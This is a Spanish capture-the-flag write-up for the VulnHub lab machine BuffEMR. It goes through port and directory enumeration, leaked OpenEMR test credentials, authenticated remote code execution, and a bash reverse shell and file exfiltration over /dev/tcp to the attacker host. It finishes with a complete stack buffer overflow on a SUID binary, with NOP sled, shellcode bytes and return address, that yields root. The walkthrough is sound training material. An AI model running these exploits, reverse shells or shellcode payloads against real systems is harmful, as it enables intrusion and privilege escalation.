
BuffEMR
Enumeración
Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 192.168.6.165.
ping -c 1 192.168.6.165
❯ PING 192.168.6.165 (192.168.6.165) 56(84) bytes of data.
64 bytes from 192.168.6.165: icmp_seq=1 ttl=64 time=0.228 ms
--- 192.168.6.165 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.228/0.228/0.228/0.000 ms
En el output del comando ejecutado en el parámetro ttl se ve que el valor es 64, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Linux.
TTL | OS |
---|---|
64 | GNU/Linux |
128 | Windows |
Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y servicios que están asociados a estos.
nmap -p- --open -sCV -n -Pn 192.168.6.165 -oN Scan ❯
Parámetros | Descripción |
---|---|
-p- | Indica que analice todos los puertos del 1 al 65535 |
–open | Únicamente se escanearan los puertos que estén abiertos |
-sC | Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto |
-sV | Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios |
-n | Se evita realizar resolución DNS |
–min-rate | Indica la cantidad de paquetes que se envían por segundo, en este caso 5000 |
-Pn | Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos. |
-oN | Exporta el output del comando ejecutado a un archivo en formato nmap |
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-16 08:22 CEST
Nmap scan report for 192.168.6.165
Host is up (0.00025s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 3 0 0 4096 Jun 21 2021 share
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.6.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 924cae7b01fe84f95ef7f0da91e47acf (RSA)
| 256 9597ebea5cf826943ca7b6b476c3279c (ECDSA)
|_ 256 cb1cd9564f7ac00125cd98f64e232e77 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:85:C7:87 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.15 seconds
Los puertos que se han descubierto son:
Puertos | Servicio | Versión |
---|---|---|
21 | FTP | vsftpd 3.0.3 |
22 | SSH | OpenSSH 7.6p1 |
80 | HTTP | Apache httpd 2.4.29 |
Vemos que podemos acceder al servicio FTP como el usuario Anonymous.

Al acceder vemos un directorio.
ftp 192.168.6.165
❯ Connected to 192.168.6.165.
220 (vsFTPd 3.0.3)
Name (192.168.6.165:pringles): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Jun 21 2021 share
226 Directory send OK.
ftp>
Nos descargamos todo el contenido del FTP.
wget -r ftp://192.168.6.165 ❯
Parámetros | Descripción |
---|---|
-r | Descarga recursivamente. |

Búsqueda de Vulnerabilidades
Viendo que está el puerto 80 accedemos a la página.
Y como podemos ver nos muestra la pagina default del servidor web Apache.

Utilizando la herramienta gobuster para buscar rutas en la pagina.
gobuster dir -u "http://192.168.6.165/" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --add-slash ❯
Parámetros | Descripción |
---|---|
dir | Utiliza el modo de enumeración de directorios y archivos. |
-u | Especifica la URL a la cual se quiere escanear. |
-w | Especifica el diccionario que se utilizara parar el escaneo. |
-t 200 | Indica que se utilicen 200 subprocesos simultáneamente para aumentar la velocidad de descubrimiento. |
–add-slash | Agrega una barra diagonal “/” al final de cada directorio encontrado durante la enumeración. |
-o | Se indica que se quiere guardar el resultado en un archivo. |
===============================================================Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================+] Url: http://192.168.6.165/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Add Slash: true
[+] Timeout: 10s
[
===============================================================2024/05/16 10:57:47 Starting gobuster in directory enumeration mode
===============================================================/icons/ (Status: 403) [Size: 278]
/server-status/ (Status: 403) [Size: 278]
/openemr/ (Status: 302) [Size: 0] [--> interface/login/login.php?site=default]
===============================================================2024/05/16 11:00:58 Finished
===============================================================
Vemos la ruta openemr.

Si accedo, nos muestra un panel de login.

Buscando por el contenido del FTP, vemos un directorio test donde reside un archivo test.accounts que contiene unas credenciales.
catn 192.168.6.165/share/openemr/tests/test.accounts
❯ this is a test admin account:
admin:Monster123
Si añadimos esas credenciales al panel de login, vemos que nos funciona.


Viendo la pestaña About.

Vemos la versión del OpenEMR.

Explotación
Su buscamos exploits con searchsploit para esa versión, vemos que hay uno que permite ejecutar comandos remotos estando autenticado.
searchsploit openemr 5.0.1
❯ ------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1) | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2) | php/webapps/50087.rb
------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Nos lo descargamos.
searchsploit -m php/webapps/45161.py
❯ Exploit: OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)
URL: https://www.exploit-db.com/exploits/45161
Path: /usr/share/exploitdb/exploits/php/webapps/45161.py
Codes: N/A
Verified: True
File Type: ASCII text
Copied to: /home/pringles/Vulnhub/BuffEMR/exploits/45161.py
Si nos enviamos un whoami vemos que nos funciona.
python2.7 45161.py -u admin -p Monster123 -c "whoami | nc 192.168.6.5 443" http://192.168.6.165/openemr ❯

Sabiendo esto, ahora nos enviamos una ReverseShell.
python2.7 45161.py -u admin -p Monster123 -c "bash -i >& /dev/tcp/192.168.6.5/443 0>&1" http://192.168.6.165/openemr ❯
nc -lvnp 443
❯ listening on [any] 443 ...
connect to [192.168.6.5] from (UNKNOWN) [192.168.6.165] 59792
bash: cannot set terminal process group (691): Inappropriate ioctl for device
bash: no job control in this shell
www-data@buffemr:/var/www/html/openemr/interface/main$
Investigando por el sistema, vemos en el directorio /var un archivo comprimido con el nombre user.zip.
www-data@buffemr:/var$ ls -l
ls -l
total 56
drwxr-xr-x 2 root root 4096 May 15 12:03 backups
drwxr-xr-x 18 root root 4096 Jun 19 2021 cache
drwxrwsrwt 2 root whoopsie 4096 May 15 12:08 crash
drwxr-xr-x 68 root root 4096 Jun 18 2021 lib
drwxrwsr-x 2 root staff 4096 Apr 24 2018 local
lrwxrwxrwx 1 root root 9 Jun 18 2021 lock -> /run/lock
drwxrwxr-x 13 root syslog 4096 May 16 02:00 log
drwxrwsr-x 2 root mail 4096 Aug 6 2020 mail
drwxrwsrwt 2 root whoopsie 4096 Aug 6 2020 metrics
drwxr-xr-x 2 root root 4096 Aug 6 2020 opt
lrwxrwxrwx 1 root root 4 Jun 18 2021 run -> /run
drwxr-xr-x 13 root root 4096 May 16 01:57 snap
drwxr-xr-x 7 root root 4096 Aug 6 2020 spool
drwxrwxrwt 2 root root 4096 May 16 01:55 tmp
-rw-r--r-- 1 root root 309 Jun 21 2021 user.zip
drwxr-xr-x 3 root root 4096 Jun 18 2021 www
www-data@buffemr:/var$
Nos lo pasamos a nuestra máquina,para poder descomprimirlo.
www-data@buffemr:/var$ cat < user.zip > /dev/tcp/192.168.6.5/1234
cat < user.zip > /dev/tcp/192.168.6.5/1234
www-data@buffemr:/var$
nc -lvnp 1234 > user.zip
❯ listening on [any] 1234 ...
connect to [192.168.6.5] from (UNKNOWN) [192.168.6.165] 37168
Vemos lo que contiene dentro.
7z l user.zip ❯
Parámetros | Descripción |
---|---|
l | indica que se desea listar el contenido. |
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 5 2600 Six-Core Processor (800F82),ASM,AES-NI)
Scanning the drive for archives:
1 file, 309 bytes (1 KiB)
Listing archive: user.zip
--
Path = user.zip
Type = zip
Physical Size = 309
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-06-21 20:11:18 ..... 146 127 user.lst
------------------- ----- ------------ ------------ ------------------------
2021-06-21 20:11:18 146 127 1 files
Pero al tratar de descomprimirlo nos pide una contraseña.
7z x user.zip ❯
Parámetros | Descripción |
---|---|
x | Indica que se desea extraer los archivos. |
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 5 2600 Six-Core Processor (800F82),ASM,AES-NI)
Scanning the drive for archives:
1 file, 309 bytes (1 KiB)
Extracting archive: user.zip
--
Path = user.zip
Type = zip
Physical Size = 309
Enter password (will not be echoed):
Buscando dentro del contenido del FTP por palabras como key, pass etc, vemos una supuesta contraseña en base64.
grep -riE "key|pass" ❯
Parámetros | Descripción |
---|---|
-r | busca de forma recursiva en todos los archivos. |
-i | Realiza una búsqueda insensible a mayúsculas y minúsculas. |
-E | habilita el uso de expresiones regulares extendidas, en este caso buscará por más de una palabra. |

Si decodificamos esa clave, y la pasamos al archivo .zip, no funciona.
echo "c2FuM25jcnlwdDNkCg==" | base64 -d
❯ san3ncrypt3d
Enter password (will not be echoed):
ERROR: Wrong password : user.lst
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1
No obstante, si probamos con la clave sin decodificar, si que funciona.
Enter password (will not be echoed):
Everything is Ok
Size: 146
Compressed: 309
Viendo lo que contiene el archivo, nos fijamos que son otras credenciales, pero para un SSH.
catn user.lst
❯ This file contain senstive information, therefore, should be always encrypted at rest.
buffemr - Iamgr00t
****** Only I can SSH in ************
Accedemos vía SSH con las credenciales obtenidas, y funciona.
ssh buffemr@192.168.6.165
❯ buffemr@192.168.6.165's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
426 packages can be updated.
350 updates are security updates.
New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Your Hardware Enablement Stack (HWE) is supported until April 2023.
Last login: Thu May 16 02:02:53 2024 from 192.168.6.5
buffemr@buffemr:~$
Pudiendo ver la primera flag.
buffemr@buffemr:~$ cat user_flag.txt
.-. )) wWw \\\ /// wWw \\\ ///()_()
c(O_O)c (o0)-. (O)_((O)(O)) (O)_((O) (O))(O o)
'.---.`, | (_))/ __)| \ || / __)| \ / | |^_\
,/ /|_|_|\ \| .-'/ ( ||\\|| / ( ||\\//|| |(_))
| \_____/ ||( ( _) || \ | ( _) || \/ || | /
'. `---' .` \) \ \_ || || \ \_ || || )|\\
`-...-' ( \__)(_/ \_) \__)(_/ \_)(/ \)
wWw wWw oo_ wWw ()_() c c .-. \\\ /// )) ()_() .-. \\\ ///wW Ww oo_ wWw _
(O) (O) / _)-< (O)_(O o) (OO) c(O_O)c ((O) (O))(o0)-.(O o) c(O_O)c ((O) (O))(O)(O)/ _)-< (O)_/||_
/ ) ( \ \__ `. / __)|^_\ ,'.--.) ,'.---.`, | \ / | | (_))|^_\ ,'.---.`, | \ / | (..) \__ `. / __)/o_)
/ / \ \ `. | / ( |(_)) / //_|_\/ /|_|_|\ \||\\//|| | .-' |(_))/ /|_|_|\ \||\\//|| || `. | / ( / |(\
| \____/ | _| |( _) | / | \___ | \_____/ ||| \/ || |( | / | \_____/ ||| \/ || _||_ _| |( _) | | ))
'. `--' .`,-' | \ \_ )|\\ '. ) '. `---' .`|| || \) )|\\ '. `---' .`|| || (_/\_),-' | \ \_ | |//
`-..-' (_..--' \__)(/ \) `-.' `-...-' (_/ \_) ( (/ \) `-...-' (_/ \_) (_..--' \__)\__/
COnGRATS !! lETs get ROOT now ....!!
buffemr@buffemr:~$
Post-explotación
Mirando los archivos con permisos SUID.
buffemr@buffemr:/$ find / -perm -4000 2>/dev/null
Parámetros | Descripción |
---|---|
find / | Inicia la búsqueda desde la raíz “/”. |
-perm -4000 | Busca archivos que tienen el bit SUID establecido. |
2>/dev/null | Redirige los mensajes de error “/dev/null”. |
Vemos un archivo con el nombre dontexecute, (como somos buena gente no lo ejecutamos).
/snap/snapd/21465/usr/lib/snapd/snap-confine
/opt/dontexecute
buffemr@buffemr:/$
Vemos que es un binario de 32 bits.
buffemr@buffemr:/$ ls -l /opt/dontexecute
-rwsrwxr-x 1 root root 7700 Jun 23 2021 /opt/dontexecute
buffemr@buffemr:/$ file /opt/dontexecute
/opt/dontexecute: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3c8287c844acebae4ece08e8c7eefc341e8972e4, not stripped
buffemr@buffemr:/$
Tras ejecutarlo, nos pide que agreguemos un argumento.
buffemr@buffemr:/$ /opt/dontexecute
Usage: ./dontexecute argumentbuffemr@buffemr:/$ /opt/dontexecute ;echo
Usage: ./dontexecute argument
buffemr@buffemr:/$
Al añadir un argumento, vemos que no pasa nada.
buffemr@buffemr:/$ /opt/dontexecute whoami;echo
buffemr@buffemr:/$
Si agregamos múltiples caracteres, llega un punto en que el programa no responde.
buffemr@buffemr:/$ /opt/dontexecute $(python -c 'print "A"*200');echo
buffemr@buffemr:/$ /opt/dontexecute $(python -c 'print "A"*1000');echo
Segmentation fault (core dumped)
buffemr@buffemr:/$
Esto sucede ya que el registro EIP apunta a una dirección de memoria inexistente.
Es decir, que al enviar las múltiples AAAA llega un punto en el que el registro EIP valdrá x41 (la letra ‘A’ en hexadecimal), y dado que el registro EIP guarda la dirección de la siguiente instrucción a ejecutar, el programa tras tratar de ejecutar la dirección 0x41414141, que no existe, este colapsa.
Nos enviamos el binario a nuestra máquina para poder trabajar con este.

Teniendo el binario, vamos a mirarlo de forma mas clara utilizando la herramienta gdb, que permite ver lo que está ocurriendo dentro de un programa mientras es ejecutado.
gdb -q dontexecute ❯
Parámetros | Descripción |
---|---|
-q | No muestra el mensaje de bienvenida al iniciar |
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 10.1.90.20210103-git in 0.00ms using Python engine 3.9
Reading symbols from dontexecute...
(No debugging symbols found in dontexecute)
gef➤
Ejecutamos el binario enviándole múltiples letras “A” para tratar de colapsar el programa.
gef➤ r $(python3 -c 'print("A"*1000)')
Aquí vemos los diferentes registros de memoria teniendo el valor de las letras AAAAA.

Nuestro objetivo ahora, es poder controlar el flujo del programa, es decir, llegar al EIP, para luego redirigir el flujo a donde queramos.
Para poder controlar el EIP, primero necesitamos determinar la cantidad de caracteres necesarios antes de comenzar a sobrescribir el EIP, esta cantidad de caracteres se conoce como el offset.
Para ello utilizaremos pattern create para generar un patrón de caracteres.
gef➤ patter create 1000
+] Generating a pattern of 1000 bytes (n=4)
[aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
+] Saved as '$_gef0'
[gef➤
Enviamos el patrón.

Y ahora como vemos, el registro EIP vale “daaf”.

Con pattern offset vemos los caracteres que hay antes de llegar al registro EIP.
gef➤ pattern offset $eip
+] Searching for '64616166'/'66616164' with period=4
[+] Found at offset 512 (little-endian search) likely
[gef➤
Ahora sabemos que necesitamos 512 caracteres, antes de llegar a sobrescribir el EIP.
Lo podemos comprobar añadiendo 512 “A” y 4 “B”.
gef➤ r $(python3 -c 'print("A"*512+"B"*4)')
Como podemos ver, la dirección de memoria del registro EIP, ahora vale 0x42424242 (“BBBB” en hexadecimal)

Teniendo ya control del registro EIP vamos a ver las protecciones del binario con checksec.
gef➤ checksec
+] checksec for '/home/pringles/Vulnhub/BuffEMR/content/dontexecute'
[Canary : ✘
NX : ✘
PIE : ✓
Fortify : ✘
RelRO : Full
gef➤
Vemos que el NX (None eXecution) está deshabilitado, lo cual nos permite aprovecharnos de la pila ESP, para introducir código a bajo nivel ShellCode, en lugar de añadir las letras “A” y redirigir el flujo del programa en algún punto del ESP para que nos ejecute el ShellCode.
Buscamos un ShellCode para que nos ejecute una /bin/bash como el propietario ya que el binario es un SUID.


Pero antes de que ocurra el Buffer Overflow, el Shellcode será interpretado como cadenas, no es hasta que se logre apuntar a una dirección de memoria del ESP que el Shellcode será ejecutado, dado que el NX está deshabilitado.
Para rellenar el espacio restante del ESP utilizaremos NOPS (No operation Code), ya que son instrucciones de procesador que no realizan ninguna operación, para que al llegar al ShellCode sea ejecutado.
Por lo que ahora necesitamos saber cuales son los NOPS necesarios, para que junto al ShellCode lleguen justo al registro EIP.
echo "512-33" | bc
❯ 479
En este caso sabemos que necesitamos 479 NOPS junto al ShellCode, para que lleguen antes de comenzar a sobrescribir el EIP.

Finalmente lo que quedaría seria conseguir una dirección en donde residen los NOPS para así forzar el desplazamiento hasta llegar al ShellCode y podernos ejecutar una /bin/bash como el propietario, en este caso el usuario root.
Enviamos la data desde el GDB.
(gdb) r $(python -c 'print "\x90"*479 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "B"*4')
Starting program: /opt/dontexecute $(python -c 'print "\x90"*479 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "B"*4')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Y ahora miramos el contenido del ESP.
(gdb) x/500wx $esp
Como podemos observar, en el ESP residen los NOPS que hemos enviado junto al ShellCode.

Por tanto ahora el objetivo es que el registro EIP en lugar de valer \x42\x42\x42\x42, valga una de las direcciones en las cuales residen los NOPS.
0xffffd530: 0x90909090 0x90909090 0x90909090 0x90909090
Pero antes de seguir, como estamos en un binario de 32 bits, vamos a pasar la dirección a Little-Endian, simplemente dándole la vuelta a la dirección.
x30\xd5\xff\xff \

Al enviar los datos, teniendo en el registro EIP una de las direcciones de los NOPS, observamos que nos interpreta el ShellCode ejecutándonos una bash como el propietario.
buffemr@buffemr:~$ /opt/dontexecute $(python -c 'print "\x90"*479 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "\x30\xd5\xff\xff"')
bash-4.4# whoami
root
bash-4.4#
Y ya finalmente obtenemos la ultima flag.
root@buffemr:~# cat Root_flag.txt
________ __ __ ____ _____ ___
`MMMMMMMb. 69MM69MM 6MMMMb 69M`MM `MM
MM `Mb 6M' 6M' ` 8P Y8 6M' `MM MM
MM MM ___ ___ _MM__MM______ ___ __ 6M Mb ____ ___ ____ ___ __ _MM__ MM _____ ____ _ ___ ____ ____MM
MM .M9 `MM MM MMMMMMMM6MMMMb `MM 6MM MM MM `MM( )M' 6MMMMb `MM 6MM MMMMM MM 6MMMMMb `MM( ,M. )M' 6MMMMb 6MMMMMM
MMMMMMM( MM MM MM MM6M' `Mb MM69 " MM MM `Mb d' 6M' `Mb MM69 " MM MM 6M' `Mb `Mb dMb d' 6M' `Mb 6M' `MM
MM `Mb MM MM MM MMMM MM MM' MM MM YM. ,P MM MM MM' MM MM MM MM YM. ,PYM. ,P MM MM MM MM
MM MM MM MM MM MMMMMMMMMM MM MM MM MM M MMMMMMMM MM MM MM MM MM `Mb d'`Mb d' MMMMMMMM MM MM
MM MM MM MM MM MMMM MM YM M9 `Mbd' MM MM MM MM MM MM YM,P YM,P MM MM MM
MM .M9 YM. MM MM MMYM d9 MM 8b d8 YMP YM d9 MM MM MM YM. ,M9 `MM' `MM' YM d9 YM. ,MM
_MMMMMMM9' YMMM9MM__MM__MM_YMMMM9 _MM_ YMMMM9 M YMMMM9 _MM_ _MM_ _MM_ YMMMMM9 YP YP YMMMM9 YMMMMMM_
________ ___ 8 8
`MMMMMMMb. `MM (M) (M)
MM `Mb / MM (M) (M)
MM MM _____ _____ /M ____ ____MM (M) (M)
MM MM 6MMMMMb 6MMMMMb /MMMMM 6MMMMb 6MMMMMM M M
MM .M9 6M' `Mb 6M' `Mb MM 6M' `Mb 6M' `MM M M
MMMMMMM9' MM MM MM MM MM MM MM MM MM M M
MM \M\ MM MM MM MM MM MMMMMMMM MM MM 8 8
MM \M\ MM MM MM MM MM MM MM MM
MM \M\ YM. ,M9 YM. ,M9 YM. ,YM d9 YM. ,MM 68b 68b
_MM_ \M\_YMMMMM9 YMMMMM9 YMMM9 YMMMM9 YMMMMMM_ Y89 Y89
COngratulations !!! Tweet me at @san3ncrypt3d !
root@buffemr:~#
Aqui se explica con detalle el AutoPWN de la máquina BuffEMR.
© - Mr. Pr1ngl3s